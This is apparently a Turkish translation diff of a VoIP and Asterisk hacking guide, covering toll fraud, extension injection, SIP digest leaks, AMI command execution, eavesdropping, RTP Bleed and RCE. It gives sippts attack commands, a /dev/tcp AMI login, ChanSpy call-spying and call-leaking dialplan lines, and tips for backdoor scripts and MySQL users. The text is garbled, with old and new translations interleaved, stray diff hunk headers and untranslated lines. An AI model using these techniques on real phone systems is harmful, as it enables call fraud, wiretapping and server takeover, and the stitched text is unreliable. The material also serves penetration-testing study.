Eğer bir IP adresi belirtilmişse, host **her zaman REGISTER** istekleri göndermeye ihtiyaç duymayacaktır (REGISTER paketinde genellikle 30 dakika olan yaşam süresi gönderilir, bu da başka bir senaryoda telefonun her 30 dakikada bir REGISTER yapması gerektiği anlamına gelir). Ancak, VoIP sunucusundan çağrı almak için bağlantılara izin veren açık portlara sahip olması gerekecektir.
Kullanıcıları tanımlamak için şu şekilde tanımlanabilirler:
* **`type=user`**: Kullanıcı sadece kullanıcı olarak aramaları alabilir.
* **`type=friend`**: Peer olarak aramalar yapılabilir ve kullanıcı olarak alınabilir (uzantılarla kullanılır)
* **`type=peer`**: Peer olarak aramalar yapılabilir ve alınabilir (SIP-trunk'larla kullanılır)
* **`type=user`**: Kullanıcı yalnızca çağrı alabilir.
* **`type=friend`**: Peer olarak çağrı yapmak ve kullanıcı olarak almak mümkündür (uzantılarla kullanılır)
* **`type=peer`**: Peer olarak çağrı göndermek ve almak mümkündür (SIP-trunklar)
Ayrıca güvensiz değişkenle güven oluşturmak da mümkündür:
Ayrıca, insecure değişkeni ile güven oluşturmak da mümkündür:
* **`insecure=port`**: IP tarafından doğrulanan peer bağlantılarına izin verir.
* **`insecure=invite`**: INVITE mesajları için kimlik doğrulaması gerektirmez
* **`insecure=invite`**: INVITE mesajları için kimlik doğrulama gerektirmez
* **`insecure=port,invite`**: Her ikisi de
{% hint style="warning" %}
**`type=friend`** kullanıldığında, **host** değişkeninin **değeri** kullanılmayacak, bu yüzden bir yönetici o değeri kullanarak bir SIP-trunk'ı yanlış yapılandırırsa, **herkes ona bağlanabilecek**.
**`type=friend`** kullanıldığında, **host** değişkeninin **değeri** **kullanılmayacaktır**, bu nedenle bir admin **bu değeri kullanarak bir SIP-trunk'ı yanlış yapılandırırsa**, **herkes buna bağlanabilecektir**.
Örneğin, bu yapılandırma savunmasız olacaktır:\
`host=10.10.10.10`\
@ -350,45 +367,47 @@ Ayrıca güvensiz değişkenle güven oluşturmak da mümkündür:
`type=friend`
{% endhint %}
### Ücretsiz Aramalar / Asterisk Bağlam Yanlış Yapılandırmaları
### Ücretsiz Çağrılar / Asterisk Bağlamı Yanlış Yapılandırmaları
Asterisk'te bir **bağlam (context)**, **ilgili uzantıları, eylemleri ve kuralları gruplayan** ve adlandırılmış bir konteyner veya bölümdür. Çağrı planı, bir Asterisk sisteminin temel bileşenidir, çünkü **gelen ve giden aramaların nasıl ele alındığını ve yönlendirildiğini tanımlar**. Bağlamlar, çağrı planını düzenlemek, erişim kontrolünü yönetmek ve sistemin farklı bölümleri arasında ayrım sağlamak için kullanılır.
Asterisk'te bir **bağlam**, **ilişkili uzantıları, eylemleri ve kuralları gruplandıran** adlandırılmış bir konteyner veya bölümüdür. Arama planı, Asterisk sisteminin temel bileşenidir, çünkü **gelen ve giden çağrıların nasıl işlendiğini ve yönlendirildiğini tanımlar**. Bağlamlar, arama planını düzenlemek, erişim kontrolünü yönetmek ve sistemin farklı bölümleri arasında ayrım sağlamak için kullanılır.
Her bağlam genellikle **`extensions.conf`** dosyasında tanımlanır. Bağlamlar, köşeli parantezlerle belirtilir ve bağlam adı bunların içine alınır. Örneğin:
Her bağlam, genellikle **`extensions.conf`** dosyasında yapılandırma dosyasında tanımlanır. Bağlamlar, köşeli parantezlerle gösterilir ve bağlam adı bunların içinde yer alır. Örneğin:
```bash
csharpCopy code[my_context]
```
İçindeki bağlamda, uzantıları (çevrilen numaraların desenlerini) tanımlarsınız ve bunları bir dizi eylem veya uygulama ile ilişkilendirirsiniz. Bu eylemler çağrının nasıl işlendiğini belirler. Örneğin:
İçerik bağlamında, uzantıları (çevrilen numaraların kalıpları) tanımlarsınız ve bunları bir dizi eylem veya uygulama ile ilişkilendirirsiniz. Bu eylemler, çağrının nasıl işleneceğini belirler. Örneğin:
```scss
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
```
Bu örnek, "my\_context" adında basit bir bağlamı ve "100" uzantısını göstermektedir. Birisi 100 numarayı çevirdiğinde, arama cevaplanacak, bir karşılama mesajı çalınacak ve ardından arama sonlandırılacaktır.
Bu örnek, "my\_context" adlı basit bir bağlamı ve "100" uzantısını göstermektedir. Birisi 100'ü aradığında, çağrı yanıtlanacak, bir karşılama mesajı çalacak ve ardından çağrı sonlandırılacaktır.
Bu ise **başka bir bağlamdır** ve **herhangi bir başka numarayı aramaya izin verir**:
Bu, **herhangi bir başka numarayı aramaya** izin veren **başka bir bağlamdır**:
```scss
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
```
Eğer yönetici **varsayılan bağlamı** şu şekilde tanımlarsa:
Eğer admin **varsayılan bağlamı** şu şekilde tanımlarsa:
```
[default]
include => my_context
include => external
```
{% hint style="warning" %}
Herhangi biri, **sunucuyu kullanarak herhangi bir numarayı arayabilecek** (ve sunucu yöneticisi aramanın bedelini ödeyecek).
Herkes **sunucuyu başka bir numaraya arama yapmak için kullanabilecektir** (ve sunucunun yöneticisi arama için ödeme yapacaktır).
{% endhint %}
{% hint style="danger" %}
Dahası, varsayılan olarak **`sip.conf`** dosyası **`allowguest=true`** içerir, bu durumda **herhangi bir** kimlik doğrulaması olmadan **herhangi bir numarayı aramak mümkün olacaktır**.
Ayrıca, varsayılan olarak **`sip.conf`** dosyası **`allowguest=true`** içerir, bu nedenle **herhangi bir** saldırgan **kimlik doğrulaması olmadan** başka bir numaraya arama yapabilecektir.
{% endhint %}
* **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS daveti, bir **PBX sunucusunun kimlik doğrulamasız aramalara izin verip vermediğini** kontrol eder. Eğer SIP sunucusu yanlış yapılandırılmışsa, harici numaralara arama yapmamıza izin verecektir. Ayrıca, aramayı ikinci bir harici numaraya aktarmamıza da izin verebilir.
* **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite, **PBX sunucusunun kimlik doğrulaması olmadan arama yapmamıza izin verip vermediğini** kontrol eder. Eğer SIP sunucusunun yanlış bir yapılandırması varsa, dış numaralara arama yapmamıza izin verecektir. Ayrıca, aramayı ikinci bir dış numaraya aktarmamıza da izin verebilir.
Örneğin, Asterisk sunucunuzun kötü bir bağlam yapılandırması varsa, kimlik doğrulama olmadan INVITE isteğini kabul edebilirsiniz. Bu durumda, bir saldırgan herhangi bir kullanıcı/şifreyi bilmeden arama yapabilir.
Örneğin, eğer Asterisk sunucunuzun kötü bir bağlam yapılandırması varsa, yetkilendirme olmadan INVITE isteğini kabul edebilirsiniz. Bu durumda, bir saldırgan herhangi bir kullanıcı/parola bilmeden arama yapabilir.
{% code overflow="wrap" %}
```bash
# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
@ -400,19 +419,19 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
### Ücretsiz aramalar / Yanlış yapılandırılmış IVRS
IVRS, **Interactive Voice Response System**'in kısaltmasıdır, kullanıcıların ses veya tuş tonu girişleri aracılığıyla bilgisayarlaştırılmış bir sistemle etkileşimde bulunmasını sağlayan bir telekomünikasyon teknolojisidir. IVRS, bilgi sağlama, çağrıları yönlendirme ve kullanıcı girişlerini yakalama gibi çeşitli işlevler sunan **otomatik çağrı işleme** sistemleri oluşturmak için kullanılır.
IVRS, **Etkileşimli Sesli Yanıt Sistemi** anlamına gelir; kullanıcıların ses veya tuşlama girdileri aracılığıyla bilgisayarlı bir sistemle etkileşimde bulunmalarını sağlayan bir telekomünikasyon teknolojisidir. IVRS, bilgi sağlama, çağrıları yönlendirme ve kullanıcı girdilerini toplama gibi çeşitli işlevler sunan **otomatik çağrı yönetimi** sistemleri oluşturmak için kullanılır.
VoIP sistemlerinde IVRS genellikle şunlardan oluşur:
VoIP sistemlerindeki IVRS genellikle şunlardan oluşur:
1. **Sesli ipuçları**: Kullanıcıları IVR menü seçenekleri ve talimatlarıyla yönlendiren önceden kaydedilmiş sesli mesajlar.
2. **DTMF** (Dual-Tone Multi-Frequency) sinyali: Telefon üzerinde tuşlara basarak oluşturulan tuş tonu girişleri, IVR menülerinde gezinmek ve giriş sağlamak için kullanılır.
3. **Çağrı yönlendirme**: Kullanıcı girişine bağlı olarak çağrıları belirli departmanlara, ajanlara veya uzantılara yönlendirme.
4. **Kullanıcı girişi yakalama**: Arayanlardan hesap numaraları, vaka kimlikleri veya diğer ilgili veriler gibi bilgileri toplama.
5. **Harici sistemlerle entegrasyon**: IVR sisteminin veritabanlarına veya diğer yazılım sistemlerine erişmesine veya bilgiyi güncellemesine, işlemler gerçekleştirmesine veya olayları tetiklemesine olanak tanır.
1. **Sesli istemler**: Kullanıcıları IVR menü seçenekleri ve talimatları aracılığıyla yönlendiren önceden kaydedilmiş sesli mesajlar.
2. **DTMF** (Çift Tonlu Çok Frekanslı) sinyalleme: Telefon tuşlarına basarak üretilen tuşlama girdileri, IVR menülerinde gezinmek ve girdi sağlamak için kullanılır.
3. **Çağrı yönlendirme**: Çağrıları, kullanıcı girdisine dayalı olarak belirli departmanlar, ajanlar veya dahili numaralar gibi uygun bir hedefe yönlendirme.
4. **Kullanıcı girişi toplama**: Arayanlardan hesap numaraları, vaka kimlikleri veya diğer ilgili veriler gibi bilgileri toplama.
5. **Dış sistemlerle entegrasyon**: IVR sistemini veritabanları veya diğer yazılım sistemleriyle bağlayarak bilgiye erişim sağlama, güncelleme yapma, eylemler gerçekleştirme veya olayları tetikleme.
Asterisk VoIP sisteminde, IVR oluşturabilir ve `extensions.conf` dosyası gibi çeşitli uygulamalar ve `Background()`, `Playback()`, `Read()` gibi uygulamalar kullanarak sesli ipuçları çalabilir, kullanıcı girişi yakalayabilir ve çağrı akışını kontrol edebilirsiniz.
Asterisk VoIP sisteminde, **`extensions.conf`** dosyası ve `Background()`, `Playback()`, `Read()` gibi çeşitli uygulamalar kullanarak bir IVR oluşturabilirsiniz. Bu uygulamalar, sesli istemleri çalma, kullanıcı girdilerini toplama ve çağrı akışını kontrol etme konusunda yardımcı olur.
#### Hassas yapılandırma örneği
#### Zayıf yapılandırma örneği
```scss
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
@ -420,40 +439,41 @@ exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
```
Önceki örnek bir kullanıcının bir bölümü aramak için **1'i tuşlaması**, başka bir bölümü aramak için **2'yi tuşlaması veya** bildiği takdirde **tam uzantıyı** girmesi istendiği bir örnektir.\
Zafiyet, belirtilen **uzantı uzunluğunun kontrol edilmemesidir, bu nedenle bir kullanıcı 5 saniyelik zaman aşımı süresinde tam bir numara girebilir ve aranır.**
Önceki, kullanıcının bir departmanı aramak için **1'e basması**, başka birini aramak için **2'ye basması** veya biliyorsa **tam uzantıyı** girmesi istendiği bir örnektir.\
ık, belirtilen **uzantı uzunluğunun kontrol edilmemesi, bir kullanıcının 5 saniyelik zaman aşımında tam bir numara girmesi ve bunun araması olabileceğidir.**
### Uzantı Enjeksiyonu
Şu gibi bir uzantı kullanarak:
Aşağıdaki gibi bir uzantı kullanarak:
```scss
exten => _X.,1,Dial(SIP/${EXTEN})
```
**`${EXTEN}`**'in çağrılacak olan **dahili numara** olduğu yerde, **ext 101 tanıtıldığında** şu olacaklar:
Where **`${EXTEN}`** is the **extension** that will be called, when the **ext 101 is introduced** this is what would happen:
**`${EXTEN}`** **çağrılacak uzantıdır**, **ext 101 tanıtıldığında** bu gerçekleşecektir:
```scss
exten => 101,1,Dial(SIP/101)
```
Ancak, eğer **`${EXTEN}`** daha önceki Asterisk sürümlerinde olduğu gibi **sadece sayıları değil daha fazlasını** tanımasına izin veriyorsa, bir saldırgan **`101&SIP123123123`** gibi bir değer girebilir ve telefon numarası 123123123'ü aramak için kullanabilir. Ve bu sonuç olacaktır:
Ancak, eğer **`${EXTEN}`** **sayıların dışında daha fazlasını** girmeye izin veriyorsa (eski Asterisk sürümlerinde olduğu gibi), bir saldırgan **`101&SIP123123123`** girerek 123123123 telefon numarasını arayabilir. Ve bu sonuç olacaktır:
```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
```
Bu nedenle, **`101`** uzantısına yapılan bir arama ve **`123123123`** numarasına gönderilecek ve aramayı ilk alanın kurulacağı... ancak bir saldırgan, gerçekleştirilen herhangi bir eşleşmeyi atlayan bir **uzantı kullanırsa** ve mevcut olmayan bir şey yaparsa, yalnızca istenen numaraya **arama enjekte edebilir**.
Bu nedenle, **`101`** ve **`123123123`** uzantısına bir çağrı gönderilecek ve yalnızca ilk çağrıyı alan bağlantı kurulacaktır... ancak bir saldırgan, mevcut olan herhangi bir eşleşmeyi atlayan ancak var olmayan bir **uzantı kullanırsa**, yalnızca istenen numaraya **bir çağrı enjekte edebilir**.
## SIPDigestLeak zafiyeti
SIP Digest Leak, donanım ve yazılım IP Telefonlarını ve telefon adaptörlerini (VoIP'ten analog'a) içeren geniş bir SIP Telefonlarını etkileyen bir zafiyettir. Bu zafiyet, **Digest kimlik doğrulama yanıtının sızmasına** izin verir, bu yanıt şifreden hesaplanır. Ardından **çevrimdışı bir şifre saldırısı mümkün olur** ve meydan okuma yanıtına dayanarak çoğu şifreyi kurtarabilir.
SIP Digest Leak, hem donanım hem de yazılım IP Telefonları ile telefon adaptörlerini (VoIP'tan analog) içeren çok sayıda SIP Telefonunu etkileyen bir zafiyettir. Bu zafiyet, şifreden hesaplanan **Digest kimlik doğrulama yanıtının sızmasına** izin verir. **Çevrimdışı bir şifre saldırısı mümkün hale gelir** ve meydan okuma yanıtına dayanarak çoğu şifreyi kurtarabilir.
**[Buradan zafiyet senaryosu**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
**[Zafiyet senaryosu buradan**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
1. Bir IP Telefonu (kurban), herhangi bir bağlantı noktasında dinleme yapar (örneğin: 5060), telefon aramalarını kabul eder
2. Saldırgan, IP Telefonuna bir INVITE gönderir
3. Kurban telefon çalmaya başlar ve biri telefonu açar ve kapatır (çünkü karşı tarafta kimse telefonu açmaz)
4. Telefon kapatıldığında, **kurban telefon bir BYE gönderir**
5. **Saldırgan, kimlik doğrulaması isteyen bir 407 yanıtı** verir ve bir kimlik doğrulama meydan okuması yapar
6. **Kurban telefon, ikinci bir BYE ile kimlik doğrulama meydan okumasına yanıt verir**
7. **Saldırgan, yerel makinesinde (veya dağıtılmış ağ vb.) meydan okuma yanıtına karşı brute-force saldırısı başlatabilir ve şifreyi tahmin edebilir**
1. Bir IP Telefon (kurban) herhangi bir portta (örneğin: 5060) dinliyor, telefon çağrılarını kabul ediyor
2. Saldırgan IP Telefone bir INVITE gönderiyor
3. Kurban telefon çalmaya başlıyor ve biri açıp kapatıyor (çünkü diğer uçta kimse telefonu açmıyor)
4. Telefon kapatıldığında, **kurban telefon saldırgana bir BYE gönderiyor**
5. **Saldırgan bir 407 yanıtı veriyor** ve **kimlik doğrulama talep ediyor** ve bir kimlik doğrulama meydan okuması yayımlıyor
6. **Kurban telefon, ikinci bir BYE'de kimlik doğrulama meydan okumasına bir yanıt sağlıyor**
7. **Saldırgan, yerel makinesinde (veya dağıtılmış ağ vb.) meydan okuma yanıtına karşı bir brute-force saldırısı gerçekleştirebilir** ve şifreyi tahmin edebilir
* **SIPPTS sızıntısı** [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS sızıntısı, birçok SIP Telefonunu etkileyen SIP Digest Leak zafiyetini sömürür. Çıktı, SIPPTS dcrack veya SipCrack aracını kullanarak brute-force saldırısı yapmak için SipCrack formatında kaydedilebilir.
* **SIPPTS sızıntısı** [**sippts**](https://github.com/Pepelux/sippts)**'den:** SIPPTS sızıntısı, çok sayıda SIP Telefonunu etkileyen SIP Digest Leak zafiyetini istismar eder. Çıktı, SIPPTS dcrack veya SipCrack aracı kullanarak brute force yapmak için SipCrack formatında kaydedilebilir.
```bash
sippts leak -i 10.10.0.10
@ -476,9 +496,9 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
```
### Click2Call
Click2Call, bir **web kullanıcısının** (örneğin bir ürüne ilgi duyan) **telefon numarasını tanıtmak** için kullanılmasına olanak tanır. Daha sonra bir reklam aranacak ve kullanıcı **telefonu açtığında** kullanıcı **arama yapılacak ve ajanla bağlantı kurulacak**.
Click2Call, bir **web kullanıcısının** (örneğin bir ürüne ilgi duyan) **telefon numarasını** tanıtmasına olanak tanır. Ardından bir ticari arama yapılır ve kullanıcı **telefonu açtığında**, kullanıcı **ajanla arama yapılıp bağlanır**.
Bunun için yaygın bir Asterisk profili:
Bunun için yaygın bir Asterisk profili şudur:
```scss
[web_user]
secret = complex_password
@ -488,27 +508,29 @@ displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
```
* Önceki profil, **BİR IP adresinin bağlanmasına izin veriyor** (şifre biliniyorsa).
* Daha önce belirtildiği gibi bir çağrı **düzenlemek için okuma izinlerine gerek yoktur** ve sadece **yazma** izni ile **başlatma** gereklidir.
* Önceki profil **HERHANGİ BİR IP adresinin bağlanmasına** izin veriyor (şifre biliniyorsa).
* Daha önce belirtildiği gibi, **bir arama düzenlemek için** **okuma izinlerine gerek yoktur** ve **sadece** **yazma** için **başlatma** gereklidir.
Bu izinlerle, şifreyi bilen herhangi bir IP adresi bağlanabilir ve çok fazla bilgi çıkarabilir, örneğin:
Bu izinlerle, şifreyi bilen herhangi bir IP bağlanabilir ve çok fazla bilgi çıkarabilir, örneğin:
{% code overflow="wrap" %}
```bash
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
```
{% endcode %}
**Daha fazla bilgi veya eylem istenebilir.**
**Daha fazla bilgi veya işlem talep edilebilir.**
### **Kulak Misafiri Olma**
### **Dinleme**
Asterisk'te, **`ChanSpy`** komutunu kullanarak **izlenecek uzantı(lar)**ı belirterek (veya hepsini) gerçekleşen konuşmaları dinlemek mümkündür. Bu komut bir uzantıya atanmalıdır.
Asterisk'te, gerçekleşen konuşmaları duymak için **izlenecek uzantı(lar)** belirterek **`ChanSpy`** komutunu kullanmak mümkündür. Bu komut bir uzantıya atanmalıdır.
Örneğin, **`exten => 333,1,ChanSpy('all',qb)`** komutu, **333 uzantısını aradığınızda**, **`all`** uzantıları **izleyeceğini**, yeni bir konuşma başladığında (**`b`**) sessiz modda (**`q`**) dinlemeye başlayacağını belirtir çünkü etkileşime girmek istemeyiz. Bir konuşmadan diğerine geçmek için **`*`** tuşuna basabilir veya uzantı numarasını işaretleyebilirsiniz.
Örneğin, **`exten => 333,1,ChanSpy('all',qb)`** ifadesi, eğer **uzantı 333****aramak** isterseniz, **tüm** uzantıları **izleyeceğini**, yeni bir konuşma başladığında (**`b`**) sessiz modda (**`q`**) dinlemeye başlayacağını belirtir; çünkü buna müdahale etmek istemiyoruz. **`*`** tuşuna basarak veya uzantı numarasını tuşlayarak bir konuşmadan diğerine geçebilirsiniz.
Yalnızca bir uzantıyı izlemek için **`ExtenSpy`** kullanmak da mümkündür.
Sadece bir uzantıyı izlemek için **`ExtenSpy`** kullanmak da mümkündür.
Konuşmaları dinlemek yerine, bunları dosyalara kaydetmek de mümkündür, örneğin:
Konuşmaları dinlemek yerine, bir uzantı kullanarak **dosyalara kaydetmek** de mümkündür:
{% code overflow="wrap" %}
```scss
@ -520,88 +542,88 @@ exten => _X.,2,MixMonitor(${NAME})
Aramalar **`/tmp`** dizininde kaydedilecektir.
Ayrıca Asterisk'in kapanırken aramayı sızdıracak bir betik **çalıştırmasını bile sağlayabilirsiniz**.
Asterisk'in kapandığında **aramayı sızdıracak bir script çalıştırmasını** da sağlayabilirsiniz.
```scss
exten => h,1,System(/tmp/leak_conv.sh &)
```
### RTCPBleed güvenlik açığı
### RTCPBleed zafiyeti
**RTCPBleed**, 2017 yılında yayınlanan ve Asterisk tabanlı VoIP sunucularını etkileyen ciddi bir güvenlik sorunudur. Bu zafiyet, VoIP konuşmalarını taşıyan **RTP (Gerçek Zamanlı Protokol) trafiğinin**, internet üzerindeki herhangi bir kişi tarafından **dinlenip yönlendirilmesine izin verir**. Bu durum, RTP trafiğinin NAT (Ağ Adresi Çevirisi) güvenlik duvarlarından geçerken kimlik doğrulamasını atlamasından kaynaklanmaktadır.
**RTCPBleed**, Asterisk tabanlı VoIP sunucularını etkileyen büyük bir güvenlik sorunudur (2017'de yayımlandı). Bu zafiyet, VoIP konuşmalarını taşıyan **RTP (Gerçek Zaman Protokolü) trafiğinin**, **İnternetteki herkes tarafından dinlenip yönlendirilebilmesine** olanak tanır. Bu, RTP trafiğinin NAT (Ağ Adresi Çevirisi) güvenlik duvarlarından geçerken kimlik doğrulamayı atlamasından kaynaklanır.
RTP proxy'leri, RTC sistemlerini etkileyen **NAT kısıtlamaları** ile başa çıkmaya çalışırken iki veya daha fazla taraf arasında RTP akışlarını proxy yaparak çözmeye çalışır. NAT devrede olduğunda, RTP proxy yazılımı genellikle sinyalizasyon aracılığıyla alınan RTP IP ve port bilgilerine güvenemez. Bu nedenle, birçok RTP proxy, bu tür **IP ve port çiftinin otomatik olarak öğrenildiği bir mekanizma uygulamıştır**. Bu genellikle gelen RTP trafiğini inceleyerek ve gelen RTP trafiği için kaynak IP ve portu yanıt verilmesi gereken IP ve port olarak işaretleyerek yapılır. Bu mekanizma, genellikle "öğrenme modu" olarak adlandırılabilir ve **herhangi bir kimlik doğrulama türünden yararlanmaz**. Bu nedenle **saldırganlar**, RTP trafiğini RTP proxy'ye **gönderebilir ve meşru kullanıcılara gönderilmesi gereken proxy RTP trafiğini alabilir**. Bu zafiyete RTP Bleed adı verilir çünkü saldırganlara meşru kullanıcılara gönderilmesi gereken RTP medya akışlarını alabilmelerine olanak tanır.
RTP proxy'leri, iki veya daha fazla taraf arasında RTP akışlarını proxy'leyerek RTC sistemlerini etkileyen **NAT sınırlamalarını** gidermeye çalışır. NAT mevcut olduğunda, RTP proxy yazılımı genellikle sinyalizasyon (örneğin, SIP) aracılığıyla elde edilen RTP IP ve port bilgilerine güvenemez. Bu nedenle, bazı RTP proxy'leri, böyle bir **IP ve port çiftinin otomatik olarak öğrenildiği** bir mekanizma uygulamıştır. Bu genellikle gelen RTP trafiğini inceleyerek ve gelen RTP trafiği için kaynak IP ve portunu yanıtlanması gereken olarak işaretleyerek yapılır. "Öğrenme modu" olarak adlandırılabilecek bu mekanizma, **herhangi bir tür kimlik doğrulama kullanmaz**. Bu nedenle, **saldırganlar**, **RTP proxy'sine RTP trafiği gönderebilir** ve devam eden bir RTP akışı için arayan veya aranan kişi için gönderilmesi gereken proxy'lenmiş RTP trafiğini alabilir. Bu zafiyete RTP Bleed diyoruz çünkü saldırganların meşru kullanıcılara gönderilmesi gereken RTP medya akışlarını almasına olanak tanır.
RTP proxy'lerinin ve RTP yığınlarının ilginç bir davranışı da bazen, **RTP Bleed'e duyarlı olmasalar bile**, **herhangi bir kaynaktan gelen RTP paketlerini kabul edecek, iletecek ve/veya işleyecek olmalarıdır**. Bu nedenle saldırganlar, meşru olanın yerine kendi medyalarını enjekte etmelerine izin verebilecek RTP paketleri gönderebilir. Bu saldırıya RTP enjeksiyonu adı verilir çünkü mevcut RTP akışlarına yasal olmayan RTP paketlerinin enjekte edilmesine izin verir. Bu zafiyet hem RTP proxy'lerinde hem de uç noktalarda bulunabilir.
RTP proxy'lerinin ve RTP yığınlarının bir diğer ilginç davranışı, bazen **RTP Bleed'e karşı savunmasız olsalar bile**, **herhangi bir kaynaktan RTP paketlerini kabul edip iletebilmeleri**dir. Bu nedenle, saldırganlar meşru olanın yerine kendi medyalarını enjekte etmelerine olanak tanıyan RTP paketleri gönderebilir. Bu saldırıya RTP enjeksiyonu diyoruz çünkü mevcut RTP akışlarına meşru olmayan RTP paketlerinin enjekte edilmesine olanak tanır. Bu zafiyet hem RTP proxy'lerinde hem de uç noktalarında bulunabilir.
Asterisk ve FreePBX geleneksel olarak **`NAT=yes` ayarını** kullanmıştır, bu da RTP trafiğinin kimlik doğrulamasını atlamasına olanak tanır ve çağrılarda ses olmamasına veya tek yönlü ses olmasına neden olabilir.
Asterisk ve FreePBX geleneksel olarak **`NAT=yes` ayarını** kullanmıştır, bu da RTP trafiğinin kimlik doğrulamayı atlamasına olanak tanır ve bu da aramalarda sesin olmamasına veya tek yönlü ses sorununa yol açabilir.
Daha fazla bilgi için [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
Daha fazla bilgi için [https://www.rtpbleed.com/](https://www.rtpbleed.com/) adresini kontrol edin.
* [**sippts**](https://github.com/Pepelux/sippts) tarafından **`SIPPTS rtpbleed`** adlı araç: SIPPTS rtpbleed, RTP Bleed zafiyetini tespit ederek RTP akışları gönderir.
* **`SIPPTS rtpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed, RTP akışları göndererek RTP Bleed zafiyetini tespit eder.
```bash
sippts rtpbleed -i 10.10.0.10
```
* **`SIPPTS rtcpbleed`** [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed, RTP Bleed zafiyetini RTCP akışları göndererek tespit eder.
* **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed, RTCP akışları göndererek RTP Bleed zafiyetini tespit eder.
```bash
sippts rtcpbleed -i 10.10.0.10
```
* **`SIPPTS rtpbleedflood`** [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood, RTP akışları göndererek RTP Sızıntısı zafiyetini sömürür.
* **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood, RTP akışları göndererek RTP Bleed açığını istismar eder.
```bash
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
```
* **`SIPPTS rtpbleedinject`** [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject, RTP Bleed zafiyetini enjekte ederek bir ses dosyası (WAV formatında) enjekte eder.
* **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject, bir ses dosyasını (WAV formatında) enjekte ederek RTP Bleed açığını istismar eder.
```bash
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
```
### Uzaktan Kod Çalıştırma (RCE)
### RCE
Asterisk'te bir şekilde **dahili numara kuralları ekleyip yeniden yükleyebilirseniz** (örneğin, zayıf bir web yönetici sunucusunu ele geçirerek), **`System`** komutunu kullanarak RCE elde etmek mümkündür.
Asterisk'te bir şekilde **uzantı kuralları ekleyip bunları yeniden yükleyebilme** (örneğin, savunmasız bir web yönetim sunucusunu ele geçirerek) yeteneğine sahip olduğunuzda, **`System`** komutunu kullanarak RCE elde etmek mümkündür.
```scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
```
**`Shell`** komutu, gerektiğinde sistem komutlarını çalıştırmak için **`System`** yerine kullanılabilecek bir komuttur.
There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
{% hint style="warning" %}
Sunucu, **`System`** komutunda belirli karakterlerin kullanımını engelliyorsa (örneğin Elastix'te), web sunucunun sistemin içinde dosya oluşturmaya izin verip vermediğini kontrol edin (örneğin Elastix veya trixbox'ta) ve bunu kullanarak bir arka kapı betiği oluşturun ve ardından **`System`** komutunu kullanarak o **betiği çalıştırın**.
Eğer sunucu **`System`** komutunda belirli karakterlerin kullanılmasına **izin vermiyorsa** (Elastix'te olduğu gibi), web sunucusunun **sistemde dosya oluşturmasına izin verip vermediğini** kontrol edin (Elastix veya trixbox'ta olduğu gibi) ve bunu **bir arka kapı scripti oluşturmak için** kullanın, ardından **`System`** ile bu **scripti çalıştırın**.
{% endhint %}
#### İlginç yerel dosyalar ve izinler
* **`sip.conf`** -> SIP kullanıcılarının şifresini içerir.
* **Asterisk sunucusu root olarak çalışıyorsa**, root hesabını tehlikeye atabilirsiniz.
* **mysql root kullanıcısının** muhtemelen **herhangi bir şifresi yoktur**.
* Bu, arka kapı olarak yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.
* Eğer **Asterisk sunucusu root olarak çalışıyorsa**, root'u tehlikeye atabilirsiniz.
* **mysql root kullanıcısının** **herhangi bir şifresi olmayabilir**.
* bu, bir arka kapı olarak yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.
* **`FreePBX`**
* **`amportal.conf`** -> Web panel yöneticisinin şifresini içerir (FreePBX)
* **`FreePBX.conf`** -> Veritabanına erişmek için kullanılan FreePBXuser kullanıcısının şifresini içerir
* Bu, arka kapı olarak yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.
* **`amportal.conf`** -> Web paneli yöneticisinin şifresini içerir (FreePBX).
* **`FreePBX.conf`** -> Veritabanına erişmek için kullanılan FreePBXuser kullanıcısının şifresini içerir.
* bu, bir arka kapı olarak yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.
* **`Elastix`**
* **`Elastix.conf`** -> mysql root şifresi, IMAPd şifresi, web yönetici şifresi gibi birçok şifreyi düz metin olarak içerir.
* **Birkaç klasör**, tehlikeye atılan asterisk kullanıcısına ait olacaktır (eğer root olarak çalışmıyorsa). Bu kullanıcı önceki dosyaları okuyabilir ve ayrıca yapılandırmayı kontrol eder, bu nedenle Asterisk'i başka arka kapılı ikili dosyaları yüklemeye zorlayabilir.
